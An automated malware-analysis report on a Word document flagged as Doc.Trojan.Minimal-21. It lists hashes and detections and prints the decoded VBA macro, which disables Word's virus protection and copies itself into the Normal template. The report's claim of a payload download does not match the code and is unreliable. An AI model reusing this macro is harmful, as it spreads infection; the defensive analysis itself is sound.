Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 62308d3e184592e0…

MALICIOUS

Office (OLE)

47.5 KB Created: 2000-08-29 11:57:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 666e6779c2eee0c8652cf35c25a257a3 SHA-1: 378d35f09a826736494c6b66356127fb5b2b27a0 SHA-256: 62308d3e184592e003dda60d524a2301a3fdf51451565ab46d223ec86996af12
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros. The 'Document_Open' macro is present and attempts to overwrite the existing code with new content, likely to download and execute a secondary payload. The presence of VBA macros and the 'Document_Open' event strongly suggests a spearphishing attachment attack vector.

Heuristics 3

  • ClamAV: Doc.Trojan.Minimal-21 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Minimal-21
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 887 bytes
SHA-256: ff2f648779f9ed52e70a153f30381fa10d295419d09419dcb8ba9f2a50c2b216
Detection
ClamAV: Doc.Trojan.Minimal-21
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub document_open(): Const nula = 0
Dim a, b, c, d: Set b = ThisDocument: Options.VirusProtection = nula
If b = ActiveDocument Then Set c = NormalTemplate Else Set c = ActiveDocument
d = b.VBProject.vbcomponents(1).codemodule.lines(1, _
b.VBProject.vbcomponents(1).codemodule.countoflines): a = Strings.LCase(d)
With c.VBProject.vbcomponents(1).codemodule
 If .lines(14, 1) <> "'string2" Then
  With c.VBProject.vbcomponents(1).codemodule
    .deletelines 1, c.VBProject.vbcomponents(1).codemodule.countoflines
    .insertlines 1, a
  End With
 End If
End With
End Sub
'string2

Open this report in the interactive analyzer, or submit your own file for analysis.